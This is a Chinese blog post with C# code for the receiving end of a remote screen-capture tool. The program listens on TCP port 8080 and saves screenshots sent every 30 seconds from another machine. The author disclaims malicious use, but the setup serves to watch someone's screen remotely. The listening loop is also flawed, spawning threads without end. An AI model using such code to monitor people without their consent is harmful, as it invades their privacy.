查看文章 |
上文我们写到在客户端运行的程序会把用户的屏幕截取下来,然后发送到我们的接收端上面。这里就是接收端的程序。 要接收来自服务端的tcp链接请求,我们就必须先监听端口号,这个交给TcpListener 来处理。 【注意】,由于我们要一边监听端口,一边还要把收到的内容保存到磁盘,所以我们会开一个新的线程来处理保存内容。并且循环监听,如遇到数据流则开始处理过程。 经过测试,成功得截取了服务端的屏幕。并接发送到了接收端,而且是每30秒发送一张,这样我们就知道了远处某人的屏幕上显示的内容。不足之处呢,是无法做到隐藏服务端进程,所以不可能用来做坏事,就当是正常的远程监视工具了吧。 //auther:tweety //.net 2.0 编译 //【原创内容。转载请注明出自百度博客】 using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms; using System.Net; using System.Net.Sockets; using System.Threading;
namespace cptScrnServer { class Capture { private TcpListener tl; private NetworkStream ns;
private void listen() { Socket sock = tl.AcceptSocket(); ns = new NetworkStream(sock); Bitmap bmp = new Bitmap(ns); bmp.Save(DateTime.Now.ToString().Replace(":", "") + ".jpg",System.Drawing.Imaging.ImageFormat.Jpeg); //保存接收到的内容 bmp.Dispose(); sock.Close(); } public void capture() { try { //注册端口号 tl = new TcpListener(8080); tl.Start(); for (; ; )//循环监听。如收到内容则保存下来 { Thread th = new Thread(new ThreadStart(listen));//开新线程,以防止假死 th.IsBackground = true; th.Start(); } } catch (Exception e) { MessageBox.Show(e.Message); } } }
public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void button1_Click(object sender, EventArgs e) { Capture screen = new Capture(); screen.capture(); } } } |

